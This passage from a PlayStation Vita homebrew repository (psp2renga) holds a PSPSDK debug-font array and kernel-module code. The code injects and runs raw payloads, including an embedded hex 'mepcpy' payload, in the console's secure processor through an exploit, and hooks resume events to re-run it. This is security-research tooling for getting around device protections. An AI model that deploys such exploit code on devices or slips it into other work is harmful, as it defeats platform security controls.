"\x00\x00\x00\x50\xa8\xa8\x50\x00\x08\x70\xa8\xa8\xa8\x70\x80\x00" 135 | "\x38\x40\x80\xf8\x80\x40\x38\x00\x70\x88\x88\x88\x88\x88\x88\x00" 136 | "\x00\xf8\x00\xf8\x00\xf8\x00\x00\x20\x20\xf8\x20\x20\x00\xf8\x00" 137 | "\xc0\x30\x08\x30\xc0\x00\xf8\x00\x18\x60\x80\x60\x18\x00\xf8\x00" 138 | "\x10\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xa0\x40" 139 | "\x00\x20\x00\xf8\x00\x20\x00\x00\x00\x50\xa0\x00\x50\xa0\x00\x00" 140 | "\x00\x18\x24\x24\x18\x00\x00\x00\x00\x30\x78\x78\x30\x00\x00\x00" 141 | "\x00\x00\x00\x00\x30\x00\x00\x00\x3e\x20\x20\x20\xa0\x60\x20\x00" 142 | "\xa0\x50\x50\x50\x00\x00\x00\x00\x40\xa0\x20\x40\xe0\x00\x00\x00" 143 | "\x00\x38\x38\x38\x38\x38\x38\x00\x00\x00\x00\x00\x00\x00\x00"; 144 | 145 | 146 | -------------------------------------------------------------------------------- /Misc/Renga/Samples/UserDecryptedSmLoad-dsll_mdr72/debugScreenFont.c: -------------------------------------------------------------------------------- 1 | /* 2 | * PSP Software Development Kit - http://www.pspdev.org 3 | * ----------------------------------------------------------------------- 4 | * Licensed under the BSD license, see LICENSE in PSPSDK root for details. 5 | * 6 | * font.c - Debug Font. 7 | * 8 | * Copyright (c) 2005 Marcus R. Brown 9 | * Copyright (c) 2005 James Forshaw 10 | * Copyright (c) 2005 John Kelley 11 | * 12 | * $Id: font.c 540 2005-07-08 19:35:10Z warren $ 13 | */ 14 | 15 | unsigned char psvDebugScreenFont[]= 16 | "\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x42\xa5\x81\xa5\x99\x42\x3c" 17 | "\x3c\x7e\xdb\xff\xff\xdb\x66\x3c\x6c\xfe\xfe\xfe\x7c\x38\x10\x00" 18 | "\x10\x38\x7c\xfe\x7c\x38\x10\x00\x10\x38\x54\xfe\x54\x10\x38\x00" 19 | "\x10\x38\x7c\xfe\xfe\x10\x38\x00\x00\x00\x00\x30\x30\x00\x00\x00" 20 | "\xff\xff\xff\xe7\xe7\xff\xff\xff\x38\x44\x82\x82\x82\x44\x38\x00" 21 | "\xc7\xbb\x7d\x7d\x7d\xbb\xc7\xff\x0f\x03\x05\x79\x88\x88\x88\x70" 22 | "\x38\x44\x44\x44\x38\x10\x7c\x10\x30\x28\x24\x24\x28\x20\xe0\xc0" 23 | "\x3c\x24\x3c\x24\x24\xe4\xdc\x18\x10\x54\x38\xee\x38\x54\x10\x00" 24 | "\x10\x10\x10\x7c\x10\x10\x10\x10\x10\x10\x10\xff\x00\x00\x00\x00" 25 | "\x00\x00\x00\xff\x10\x10\x10\x10\x10\x10\x10\xf0\x10\x10\x10\x10" 26 | "\x10\x10\x10\x1f\x10\x10\x10\x10\x10\x10\x10\xff\x10\x10\x10\x10" 27 | "\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x00\xff\x00\x00\x00\x00" 28 | "\x00\x00\x00\x1f\x10\x10\x10\x10\x00\x00\x00\xf0\x10\x10\x10\x10" 29 | "\x10\x10\x10\x1f\x00\x00\x00\x00\x10\x10\x10\xf0\x00\x00\x00\x00" 30 | "\x81\x42\x24\x18\x18\x24\x42\x81\x01\x02\x04\x08\x10\x20\x40\x80" 31 | "\x80\x40\x20\x10\x08\x04\x02\x01\x00\x10\x10\xff\x10\x10\x00\x00" 32 | "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x00\x00\x20\x00" 33 | "\x50\x50\x50\x00\x00\x00\x00\x00\x50\x50\xf8\x50\xf8\x50\x50\x00" 34 | "\x20\x78\xa0\x70\x28\xf0\x20\x00\xc0\xc8\x10\x20\x40\x98\x18\x00" 35 | "\x40\xa0\x40\xa8\x90\x98\x60\x00\x10\x20\x40\x00\x00\x00\x00\x00" 36 | "\x10\x20\x40\x40\x40\x20\x10\x00\x40\x20\x10\x10\x10\x20\x40\x00" 37 | "\x20\xa8\x70\x20\x70\xa8\x20\x00\x00\x20\x20\xf8\x20\x20\x00\x00" 38 | "\x00\x00\x00\x00\x00\x20\x20\x40\x00\x00\x00\x78\x00\x00\x00\x00" 39 | "\x00\x00\x00\x00\x00\x60\x60\x00\x00\x00\x08\x10\x20\x40\x80\x00" 40 | "\x70\x88\x98\xa8\xc8\x88\x70\x00\x20\x60\xa0\x20\x20\x20\xf8\x00" 41 | "\x70\x88\x08\x10\x60\x80\xf8\x00\x70\x88\x08\x30\x08\x88\x70\x00" 42 | "\x10\x30\x50\x90\xf8\x10\x10\x00\xf8\x80\xe0\x10\x08\x10\xe0\x00" 43 | "\x30\x40\x80\xf0\x88\x88\x70\x00\xf8\x88\x10\x20\x20\x20\x20\x00" 44 | "\x70\x88\x88\x70\x88\x88\x70\x00\x70\x88\x88\x78\x08\x10\x60\x00" 45 | "\x00\x00\x20\x00\x00\x20\x00\x00\x00\x00\x20\x00\x00\x20\x20\x40" 46 | "\x18\x30\x60\xc0\x60\x30\x18\x00\x00\x00\xf8\x00\xf8\x00\x00\x00" 47 | "\xc0\x60\x30\x18\x30\x60\xc0\x00\x70\x88\x08\x10\x20\x00\x20\x00" 48 | "\x70\x88\x08\x68\xa8\xa8\x70\x00\x20\x50\x88\x88\xf8\x88\x88\x00" 49 | "\xf0\x48\x48\x70\x48\x48\xf0\x00\x30\x48\x80\x80\x80\x48\x30\x00" 50 | "\xe0\x50\x48\x48\x48\x50\xe0\x00\xf8\x80\x80\xf0\x80\x80\xf8\x00" 51 | "\xf8\x80\x80\xf0\x80\x80\x80\x00\x70\x88\x80\xb8\x88\x88\x70\x00" 52 | "\x88\x88\x88\xf8\x88\x88\x88\x00\x70\x20\x20\x20\x20\x20\x70\x00" 53 | "\x38\x10\x10\x10\x90\x90\x60\x00\x88\x90\xa0\xc0\xa0\x90\x88\x00" 54 | "\x80\x80\x80\x80\x80\x80\xf8\x00\x88\xd8\xa8\xa8\x88\x88\x88\x00" 55 | "\x88\xc8\xc8\xa8\x98\x98\x88\x00\x70\x88\x88\x88\x88\x88\x70\x00" 56 | "\xf0\x88\x88\xf0\x80\x80\x80\x00\x70\x88\x88\x88\xa8\x90\x68\x00" 57 | "\xf0\x88\x88\xf0\xa0\x90\x88\x00\x70\x88\x80\x70\x08\x88\x70\x00" 58 | "\xf8\x20\x20\x20\x20\x20\x20\x00\x88\x88\x88\x88\x88\x88\x70\x00" 59 | "\x88\x88\x88\x88\x50\x50\x20\x00\x88\x88\x88\xa8\xa8\xd8\x88\x00" 60 | "\x88\x88\x50\x20\x50\x88\x88\x00\x88\x88\x88\x70\x20\x20\x20\x00" 61 | "\xf8\x08\x10\x20\x40\x80\xf8\x00\x70\x40\x40\x40\x40\x40\x70\x00" 62 | "\x00\x00\x80\x40\x20\x10\x08\x00\x70\x10\x10\x10\x10\x10\x70\x00" 63 | "\x20\x50\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00" 64 | "\x40\x20\x10\x00\x00\x00\x00\x00\x00\x00\x70\x08\x78\x88\x78\x00" 65 | "\x80\x80\xb0\xc8\x88\xc8\xb0\x00\x00\x00\x70\x88\x80\x88\x70\x00" 66 | "\x08\x08\x68\x98\x88\x98\x68\x00\x00\x00\x70\x88\xf8\x80\x70\x00" 67 | "\x10\x28\x20\xf8\x20\x20\x20\x00\x00\x00\x68\x98\x98\x68\x08\x70" 68 | "\x80\x80\xf0\x88\x88\x88\x88\x00\x20\x00\x60\x20\x20\x20\x70\x00" 69 | "\x10\x00\x30\x10\x10\x10\x90\x60\x40\x40\x48\x50\x60\x50\x48\x00" 70 | "\x60\x20\x20\x20\x20\x20\x70\x00\x00\x00\xd0\xa8\xa8\xa8\xa8\x00" 71 | "\x00\x00\xb0\xc8\x88\x88\x88\x00\x00\x00\x70\x88\x88\x88\x70\x00" 72 | "\x00\x00\xb0\xc8\xc8\xb0\x80\x80\x00\x00\x68\x98\x98\x68\x08\x08" 73 | "\x00\x00\xb0\xc8\x80\x80\x80\x00\x00\x00\x78\x80\xf0\x08\xf0\x00" 74 | "\x40\x40\xf0\x40\x40\x48\x30\x00\x00\x00\x90\x90\x90\x90\x68\x00" 75 | "\x00\x00\x88\x88\x88\x50\x20\x00\x00\x00\x88\xa8\xa8\xa8\x50\x00" 76 | "\x00\x00\x88\x50\x20\x50\x88\x00\x00\x00\x88\x88\x98\x68\x08\x70" 77 | "\x00\x00\xf8\x10\x20\x40\xf8\x00\x18\x20\x20\x40\x20\x20\x18\x00" 78 | "\x20\x20\x20\x00\x20\x20\x20\x00\xc0\x20\x20\x10\x20\x20\xc0\x00" 79 | "\x40\xa8\x10\x00\x00\x00\x00\x00\x00\x00\x20\x50\xf8\x00\x00\x00" 80 | "\x70\x88\x80\x80\x88\x70\x20\x60\x90\x00\x00\x90\x90\x90\x68\x00" 81 | "\x10\x20\x70\x88\xf8\x80\x70\x00\x20\x50\x70\x08\x78\x88\x78\x00" 82 | "\x48\x00\x70\x08\x78\x88\x78\x00\x20\x10\x70\x08\x78\x88\x78\x00" 83 | "\x20\x00\x70\x08\x78\x88\x78\x00\x00\x70\x80\x80\x80\x70\x10\x60" 84 | "\x20\x50\x70\x88\xf8\x80\x70\x00\x50\x00\x70\x88\xf8\x80\x70\x00" 85 | "\x20\x10\x70\x88\xf8\x80\x70\x00\x50\x00\x00\x60\x20\x20\x70\x00" 86 | "\x20\x50\x00\x60\x20\x20\x70\x00\x40\x20\x00\x60\x20\x20\x70\x00" 87 | "\x50\x00\x20\x50\x88\xf8\x88\x00\x20\x00\x20\x50\x88\xf8\x88\x00" 88 | "\x10\x20\xf8\x80\xf0\x80\xf8\x00\x00\x00\x6c\x12\x7e\x90\x6e\x00" 89 | "\x3e\x50\x90\x9c\xf0\x90\x9e\x00\x60\x90\x00\x60\x90\x90\x60\x00" 90 | "\x90\x00\x00\x60\x90\x90\x60\x00\x40\x20\x00\x60\x90\x90\x60\x00" 91 | "\x40\xa0\x00\xa0\xa0\xa0\x50\x00\x40\x20\x00\xa0\xa0\xa0\x50\x00" 92 | "\x90\x00\x90\x90\xb0\x50\x10\xe0\x50\x00\x70\x88\x88\x88\x70\x00" 93 | "\x50\x00\x88\x88\x88\x88\x70\x00\x20\x20\x78\x80\x80\x78\x20\x20" 94 | "\x18\x24\x20\xf8\x20\xe2\x5c\x00\x88\x50\x20\xf8\x20\xf8\x20\x00" 95 | "\xc0\xa0\xa0\xc8\x9c\x88\x88\x8c\x18\x20\x20\xf8\x20\x20\x20\x40" 96 | "\x10\x20\x70\x08\x78\x88\x78\x00\x10\x20\x00\x60\x20\x20\x70\x00" 97 | "\x20\x40\x00\x60\x90\x90\x60\x00\x20\x40\x00\x90\x90\x90\x68\x00" 98 | "\x50\xa0\x00\xa0\xd0\x90\x90\x00\x28\x50\x00\xc8\xa8\x98\x88\x00" 99 | "\x00\x70\x08\x78\x88\x78\x00\xf8\x00\x60\x90\x90\x90\x60\x00\xf0" 100 | "\x20\x00\x20\x40\x80\x88\x70\x00\x00\x00\x00\xf8\x80\x80\x00\x00" 101 | "\x00\x00\x00\xf8\x08\x08\x00\x00\x84\x88\x90\xa8\x54\x84\x08\x1c" 102 | "\x84\x88\x90\xa8\x58\xa8\x3c\x08\x20\x00\x00\x20\x20\x20\x20\x00" 103 | "\x00\x00\x24\x48\x90\x48\x24\x00\x00\x00\x90\x48\x24\x48\x90\x00" 104 | "\x28\x50\x20\x50\x88\xf8\x88\x00\x28\x50\x70\x08\x78\x88\x78\x00" 105 | "\x28\x50\x00\x70\x20\x20\x70\x00\x28\x50\x00\x20\x20\x20\x70\x00" 106 | "\x28\x50\x00\x70\x88\x88\x70\x00\x50\xa0\x00\x60\x90\x90\x60\x00" 107 | "\x28\x50\x00\x88\x88\x88\x70\x00\x50\xa0\x00\xa0\xa0\xa0\x50\x00" 108 | "\xfc\x48\x48\x48\xe8\x08\x50\x20\x00\x50\x00\x50\x50\x50\x10\x20" 109 | "\xc0\x44\xc8\x54\xec\x54\x9e\x04\x10\xa8\x40\x00\x00\x00\x00\x00" 110 | "\x00\x20\x50\x88\x50\x20\x00\x00\x88\x10\x20\x40\x80\x28\x00\x00" 111 | "\x7c\xa8\xa8\x68\x28\x28\x28\x00\x38\x40\x30\x48\x48\x30\x08\x70" 112 | "\x00\x00\x00\x00\x00\x00\xff\xff\xf0\xf0\xf0\xf0\x0f\x0f\x0f\x0f" 113 | "\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00" 114 | "\x00\x00\x00\x3c\x3c\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00" 115 | "\xc0\xc0\xc0\xc0\xc0\xc0\xc0\xc0\x0f\x0f\x0f\x0f\xf0\xf0\xf0\xf0" 116 | "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x03\x03\x03\x03\x03\x03\x03\x03" 117 | "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x11\x22\x44\x88\x11\x22\x44\x88" 118 | "\x88\x44\x22\x11\x88\x44\x22\x11\xfe\x7c\x38\x10\x00\x00\x00\x00" 119 | "\x00\x00\x00\x00\x10\x38\x7c\xfe\x80\xc0\xe0\xf0\xe0\xc0\x80\x00" 120 | "\x01\x03\x07\x0f\x07\x03\x01\x00\xff\x7e\x3c\x18\x18\x3c\x7e\xff" 121 | "\x81\xc3\xe7\xff\xff\xe7\xc3\x81\xf0\xf0\xf0\xf0\x00\x00\x00\x00" 122 | "\x00\x00\x00\x00\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x00\x00\x00\x00" 123 | "\x00\x00\x00\x00\xf0\xf0\xf0\xf0\x33\x33\xcc\xcc\x33\x33\xcc\xcc" 124 | "\x00\x20\x20\x50\x50\x88\xf8\x00\x20\x20\x70\x20\x70\x20\x20\x00" 125 | "\x00\x00\x00\x50\x88\xa8\x50\x00\xff\xff\xff\xff\xff\xff\xff\xff" 126 | "\x00\x00\x00\x00\xff\xff\xff\xff\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0" 127 | "\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xff\xff\xff\x00\x00\x00\x00" 128 | "\x00\x00\x68\x90\x90\x90\x68\x00\x30\x48\x48\x70\x48\x48\x70\xc0" 129 | "\xf8\x88\x80\x80\x80\x80\x80\x00\xf8\x50\x50\x50\x50\x50\x98\x00" 130 | "\xf8\x88\x40\x20\x40\x88\xf8\x00\x00\x00\x78\x90\x90\x90\x60\x00" 131 | "\x00\x50\x50\x50\x50\x68\x80\x80\x00\x50\xa0\x20\x20\x20\x20\x00" 132 | "\xf8\x20\x70\xa8\xa8\x70\x20\xf8\x20\x50\x88\xf8\x88\x50\x20\x00" 133 | "\x70\x88\x88\x88\x50\x50\xd8\x00\x30\x40\x40\x20\x50\x50\x50\x20" 134 | "\x00\x00\x00\x50\xa8\xa8\x50\x00\x08\x70\xa8\xa8\xa8\x70\x80\x00" 135 | "\x38\x40\x80\xf8\x80\x40\x38\x00\x70\x88\x88\x88\x88\x88\x88\x00" 136 | "\x00\xf8\x00\xf8\x00\xf8\x00\x00\x20\x20\xf8\x20\x20\x00\xf8\x00" 137 | "\xc0\x30\x08\x30\xc0\x00\xf8\x00\x18\x60\x80\x60\x18\x00\xf8\x00" 138 | "\x10\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xa0\x40" 139 | "\x00\x20\x00\xf8\x00\x20\x00\x00\x00\x50\xa0\x00\x50\xa0\x00\x00" 140 | "\x00\x18\x24\x24\x18\x00\x00\x00\x00\x30\x78\x78\x30\x00\x00\x00" 141 | "\x00\x00\x00\x00\x30\x00\x00\x00\x3e\x20\x20\x20\xa0\x60\x20\x00" 142 | "\xa0\x50\x50\x50\x00\x00\x00\x00\x40\xa0\x20\x40\xe0\x00\x00\x00" 143 | "\x00\x38\x38\x38\x38\x38\x38\x00\x00\x00\x00\x00\x00\x00\x00"; 144 | 145 | 146 | -------------------------------------------------------------------------------- /Kernel/main.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | psp2renga by SKGleba 4 | This software may be modified and distributed under the terms of the MIT license. 5 | See the LICENSE file for details. 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define LOG_LOC "ux0:data/0psp2renga.log" 15 | #include "logging.h" 16 | 17 | #include "../Include/nmfmanager.h" 18 | 19 | unsigned char mepcpy_payload[] = { 20 | 0xc0, 0x6f, 0x1a, 0x7b, 0x06, 0x4b, 0x1b, 0xc2, 0x09, 0x00, 0x1b, 0xc9, 21 | 0x08, 0x00, 0x1b, 0xc3, 0x0a, 0x00, 0x46, 0x62, 0x90, 0x12, 0x1b, 0xc9, 22 | 0x0b, 0x00, 0x86, 0x63, 0x30, 0x12, 0xc6, 0x69, 0x20, 0x19, 0x9e, 0xc0, 23 | 0x0c, 0x00, 0x9e, 0x01, 0x9e, 0xc2, 0x04, 0x00, 0x9e, 0xc3, 0x08, 0x00, 24 | 0x0f, 0xa0, 0x16, 0xd0, 0x10, 0x80, 0x0f, 0x10, 0x07, 0x4b, 0x40, 0x6f, 25 | 0xbe, 0x10, 0x21, 0xc0, 0x05, 0xe0, 0x04, 0xc0, 0x24, 0x00, 0x0e, 0x09, 26 | 0x95, 0xc9, 0x01, 0x00, 0x3b, 0xa9, 0x21, 0xc0, 0x05, 0xe0, 0x0a, 0x02, 27 | 0x04, 0xc2, 0x04, 0x00, 0x2a, 0x01, 0x04, 0xc2, 0x08, 0x00, 0x2a, 0x03, 28 | 0x04, 0xc3, 0x0c, 0x00, 0x01, 0xc2, 0x80, 0x20, 0x3a, 0x02, 0x04, 0xc3, 29 | 0x1c, 0x00, 0x01, 0x52, 0x3a, 0x02, 0x04, 0xc3, 0x24, 0x00, 0x19, 0xe0, 30 | 0x03, 0x00, 0x3e, 0x02, 0x25, 0xc2, 0x01, 0x00, 0x02, 0xa2, 0x3e, 0x00, 31 | 0xb4, 0xbf, 0x21, 0xc9, 0x05, 0xe0, 0x94, 0xc9, 0x1c, 0x00, 0x00, 0x5a, 32 | 0x9a, 0x0a, 0x19, 0xe0, 0x03, 0x00, 0x0e, 0x09, 0x95, 0xc9, 0x01, 0x00, 33 | 0x02, 0xa9, 0xb0, 0xbf, 0xf0, 0xff, 0x1f, 0x00 34 | }; 35 | 36 | static void *rcalls[16]; 37 | static int callcnt = 0; 38 | 39 | /* 40 | exec_code(cbuf, floc, csize) 41 | Copies [csize]/Reads [csize] from [cbuf] to 0x1C000100 and jumps to it there 42 | ARG 1 (void *): 43 | - source payload buf, set to NULL if source is a file 44 | ARG 2 (char *): 45 | - source payload file path, set to NULL if source is a buf 46 | ARG 3 (uint32_t): 47 | - payload size 48 | RET (int): 49 | - NMFexec_code ret 50 | */ 51 | int renga_exec_code(void *cbuf, char *floc, uint32_t csize) { 52 | unsigned int ret = 0; 53 | LOG("Running the code... "); 54 | ret = NMFexec_code(cbuf, floc, csize); 55 | LOG("0x%X\n", ret); 56 | return ret; 57 | } 58 | 59 | /* 60 | remove_entry(type, magic) 61 | Removes a framework entry 62 | ARG 1 (uint8_t): 63 | - entry type 1/0x10 (code/SM) 64 | ARG 2 (uint16_t): 65 | - entry magic 66 | RET (int): 67 | - NMFremove_entry ret 68 | */ 69 | int renga_remove_entry(uint8_t type, uint16_t magic) { 70 | unsigned int ret = 0; 71 | LOG("Removing mem entry of type 0x%02X from 0x%04X... ", type, magic); 72 | ret = NMFremove_entry(type, magic); 73 | LOG("0x%X\n", ret); 74 | return ret; 75 | } 76 | 77 | /* 78 | add_entry(cbuf, file, csize, type, magic) 79 | Adds a framework entry 80 | ARG 1 (void *): 81 | - entry buf, set to NULL if the source is a file 82 | ARG 2 (char *): 83 | - entry file, set to NULL if the source is a buf 84 | ARG 3 (uint32_t): 85 | - entry sz 86 | ARG 4 (uint8_t): 87 | - entry type 1/0x10 (code/SM) 88 | ARG 5 (uint16_t): 89 | - entry magic 90 | RET (int): 91 | - NMFadd_entry ret 92 | */ 93 | int renga_add_entry(void *cbuf, char *file, uint32_t csize, uint8_t type, uint16_t magic) { 94 | unsigned int ret = 0; 95 | if (cbuf != NULL) { 96 | LOG("Adding mem entry of type 0x%02X for 0x%04X... ", type, magic); 97 | } else 98 | LOG("Adding %s entry of type 0x%02X for 0x%04X... ", file, type, magic); 99 | ret = NMFadd_entry(cbuf, file, csize, type, magic); 100 | LOG("0x%X\n", ret); 101 | return ret; 102 | } 103 | 104 | /* 105 | set_opmode(magic, opmode) 106 | Sets operation mode for [magic] 107 | ARG 1 (uint16_t): 108 | - entry magic (0x0 for the whole framework) 109 | ARG 2 (uint8_t): 110 | - new entry mode 111 | RET (int): 112 | - NMFset_opmode ret 113 | */ 114 | int renga_set_opmode(uint16_t magic, uint8_t opmode) { 115 | unsigned int ret = 0; 116 | LOG("Setting opmode 0x%02X for 0x%04X... ", opmode, magic); 117 | ret = NMFset_opmode(magic, opmode); 118 | LOG("0x%X\n", ret); 119 | return ret; 120 | } 121 | 122 | /* 123 | get_opmode(magic) 124 | Gets operation mode for [magic] 125 | ARG 1 (uint16_t): 126 | - entry magic (0x0 for the whole framework) 127 | RET (uint8_t): 128 | - NMFget_opmode ret 129 | */ 130 | uint8_t renga_get_opmode(uint16_t magic) { 131 | uint8_t ret = 0; 132 | LOG("Getting opmode for 0x%04X... ", magic); 133 | ret = NMFget_opmode(magic); 134 | LOG("0x%02X\n", ret); 135 | return ret; 136 | } 137 | 138 | /* 139 | get_status(magic) 140 | Gets status for [magic] 141 | ARG 1 (uint16_t): 142 | - entry magic (0x0 for the whole framework) 143 | RET (uint8_t): 144 | - NMFget_status ret 145 | */ 146 | uint8_t renga_get_status(uint16_t magic) { 147 | uint8_t ret = 0; 148 | LOG("Getting status for 0x%04X... ", magic); 149 | ret = NMFget_status(magic); 150 | LOG("0x%02X\n", ret); 151 | return ret; 152 | } 153 | 154 | /* 155 | work_commem(buf, floc, off, size, mode) 156 | [Copy/Read] to/from commem to/from [buf/file] 157 | ARG 1 (void *): 158 | - buf, set to NULL if the source/target is a file 159 | ARG 2 (char *): 160 | - file path, set to NULL if the source/target is a buf 161 | ARG 3 (uint32_t): 162 | - commem offset 163 | ARG 4 (uint32_t): 164 | - copy/read size 165 | ARG 5 (int): 166 | - mode, if 1: source->commem, else commem->target 167 | RET (int): 168 | - NMPcopy/NMPfile_op ret 169 | */ 170 | int renga_work_commem(void *buf, char *floc, uint32_t off, uint32_t size, int mode) { 171 | unsigned int ret = 0; 172 | if (buf != NULL) { 173 | LOG("Copying 0x%lX %s buf %s commem+0x%lX... ", size, (mode == 1) ? "FROM" : "TO", (mode == 1) ? "TO" : "FROM", off); 174 | if (mode == 1) { 175 | ret = NMPcopy(buf, off, size, 0); 176 | } else 177 | ret = NMPcopy(buf, off, size, 1); 178 | LOG("0x%X\n", ret); 179 | } else { 180 | LOG("%s 0x%lX %s %s %s commem+0x%lX... ", (mode == 1) ? "READING" : "WRITING", size, (mode == 1) ? "FROM" : "TO", floc, (mode == 1) ? "TO" : "FROM", off); 181 | ret = NMPfile_op(floc, off, size, mode); 182 | LOG("0x%X\n", ret); 183 | } 184 | return ret; 185 | } 186 | 187 | /* 188 | force_commemblock(mode, clean) 189 | Reserves/Frees the commem 190 | ARG 1 (int): 191 | - if 1: reserve commem, else free commem 192 | ARG 2 (int): 193 | - memset? (0/1) 194 | RET (int): 195 | - NMPreserve_commem / NMPfree_commem ret 196 | */ 197 | int renga_force_commemblock(int mode, int clean) { 198 | unsigned int ret = 0; 199 | LOG("Forcing commem %s and %s0-ing it... ", (mode == 1) ? "RESERVE" : "FREE", (clean == 0) ? "NOT " : ""); 200 | if (mode == 1) { 201 | ret = NMPreserve_commem(clean); 202 | } else { 203 | ret = NMPfree_commem(clean); 204 | } 205 | LOG("0x%X\n", ret); 206 | return ret; 207 | } 208 | 209 | /* 210 | set_logging(mode) 211 | Sets logging mode 212 | ARG 1 (int): 213 | - new logging mode 214 | RET (int): 215 | - logging mode 216 | */ 217 | int renga_set_logging(int mode) { 218 | if (mode == 0) 219 | LOG("logging disabled!\n"); 220 | enable_logging = mode; 221 | if (mode == 1) 222 | LOG_START("logging enabled!\n\n ----Welcome to PSP2RENGA----\n\n"); 223 | return enable_logging; 224 | } 225 | 226 | 227 | /* 228 | add_reset_entry(func, cln_slot) 229 | Adds a framework-reset entry (or cleans if func=NULL) 230 | ARG 1 (void *): 231 | - pointer to the function that will be executed at framework reset, 232 | set to NULL if in clean mode 233 | ARG 2 (int): 234 | - slot to clean 235 | RET (int): 236 | - 0x69: No free slot 237 | - if func == NULL: current slot count 238 | - if func != NULL: func's slot 239 | */ 240 | int renga_add_reset_entry(void *vaddr, int cln_slot) { 241 | int cur_slot = 0; 242 | if (vaddr != NULL) { 243 | LOG("Adding reset func to 0x%X... ", callcnt); 244 | if (callcnt < 16) { 245 | rcalls[callcnt] = vaddr; 246 | cur_slot = callcnt; 247 | callcnt = callcnt + 1; 248 | } else 249 | cur_slot = 0x69; 250 | } else { 251 | LOG("Wiping reset func [0x%X]... ", cln_slot); 252 | rcalls[cln_slot] = NULL; 253 | if ((callcnt - 1) > cln_slot) { 254 | callcnt = callcnt - 1; 255 | rcalls[cln_slot] = rcalls[callcnt]; 256 | rcalls[callcnt] = NULL; 257 | } 258 | cur_slot = callcnt - 1; 259 | } 260 | LOG("0x%X\n", cur_slot); 261 | return cur_slot; 262 | } 263 | 264 | /* 265 | force_reset_framework(rexploit) 266 | Resets the commem and sets up the framework 267 | ARG 1 (int): 268 | - if 1, re-run the exploit 269 | RET (int): 270 | - NMFsetup_framework ret 271 | */ 272 | int renga_force_reset_framework(int rexploit) { 273 | unsigned int ret = 0, tmpctr = 0; 274 | renga_force_commemblock(0, 0); 275 | renga_force_commemblock(1, 1); 276 | LOG("WARNING: lv0 framework reset requested... "); 277 | (rexploit == 1) ? NMPctx = -1 : renga_set_opmode(RENGA_MAGIC_MASTER, 1); 278 | ret = NMFsetup_framework(rexploit); 279 | LOG("0x%X\n", ret); 280 | while (tmpctr < callcnt) { 281 | if (rcalls[tmpctr] != NULL) { 282 | LOG("Running 0x%X... ", tmpctr); 283 | void (*curtmp)() = (void*)(rcalls[tmpctr]); 284 | curtmp(); 285 | LOG("OK\n"); 286 | } else 287 | break; 288 | tmpctr = tmpctr + 1; 289 | } 290 | return ret; 291 | } 292 | 293 | /* 294 | xet_bank(entry) 295 | Sets/Gets current framework bank 296 | ARG 1 (int): 297 | - new bank (0 to GET current bank) 298 | RET (int): 299 | - 0x00: ok 300 | - 0x35: commem not reserved 301 | - 0x69: invalid target bank 302 | - else: (if entry==0 : current bank) 303 | */ 304 | int renga_xet_bank(int entry) { 305 | unsigned int ret = 0; 306 | LOG("Bank %s requested... ", (entry == 0) ? "info" : "switch"); 307 | ret = NMFxet_bank(entry); 308 | LOG("0x%X\n", ret); 309 | return ret; 310 | } 311 | 312 | /* 313 | mepcpy(dst, src, sz, device) 314 | Adds a framework-reset entry (or cleans if func=NULL) 315 | ARG 1 (uint32_t): 316 | - dst paddr 317 | ARG 2 (uint32_t): 318 | - src paddr 319 | ARG 3 (uint32_t): 320 | - size to copy 321 | ARG 4 (uint32_t): 322 | - memcpy func (0 for secure_kernel's; 1 for the second cry's (bigmac)) 323 | RET (int): 324 | - if device == 0: dst or error 325 | - if device == 1: 0 or error 326 | */ 327 | int renga_mepcpy(uint32_t dst, uint32_t src, uint32_t sz, uint32_t device) { 328 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 329 | fmnfo->cucnfo.unused = (NMFcurrent_paddr + NMFEND_OFF + 0x100 + sizeof(mepcpy_payload) + 0x10); 330 | *(uint32_t *)(NMPcorridor + NMFEND_OFF + 0x100 + sizeof(mepcpy_payload) + 0x10) = dst; 331 | *(uint32_t *)(NMPcorridor + NMFEND_OFF + 0x100 + sizeof(mepcpy_payload) + 0x14) = src; 332 | *(uint32_t *)(NMPcorridor + NMFEND_OFF + 0x100 + sizeof(mepcpy_payload) + 0x18) = sz; 333 | *(uint32_t *)(NMPcorridor + NMFEND_OFF + 0x100 + sizeof(mepcpy_payload) + 0x1C) = device; 334 | return renga_exec_code(&mepcpy_payload, NULL, sizeof(mepcpy_payload)); 335 | } 336 | 337 | #include "user.h" 338 | 339 | // Thanks CelesteBlue 340 | SceUID sub_81000000_patched_hook = -1; 341 | static tai_hook_ref_t sub_81000000_patched_ref; 342 | SceUID sub_81000000_patched(int resume, int eventid, void *args, void *opt) { 343 | int ret = TAI_CONTINUE(SceUID, sub_81000000_patched_ref, resume, eventid, args, opt); 344 | if (eventid == 0x100000) { 345 | if (((renga_xet_bank(0) == 1) && renga_get_status(0) == 0x22) || renga_xet_bank(0) == 2) 346 | renga_force_reset_framework(1); 347 | } 348 | return ret; 349 | } 350 | 351 | void _start() __attribute__ ((weak, alias ("module_start"))); 352 | int module_start(SceSize argc, const void *args) 353 | { 354 | LOG_START("psp2renga started!\n"); 355 | int ret = 0; 356 | ret = renga_force_commemblock(1, 1); 357 | if (ret != 0) 358 | return SCE_KERNEL_START_FAILED; 359 | NMFramework_uid = 0; 360 | NMForig_corridor = NMPcorridor; 361 | 362 | // Comment this to start off camera SRAM 363 | //-- 364 | alloc_phycont(NMPcorridor_size, 4096, &NMFramework_uid, &NMFramework); 365 | ksceKernelGetPaddr(NMFramework, &NMFramework_paddr); 366 | NMPcorridor = NMFramework; 367 | NMFcurrent_paddr = NMFramework_paddr; 368 | //-- 369 | 370 | ret = 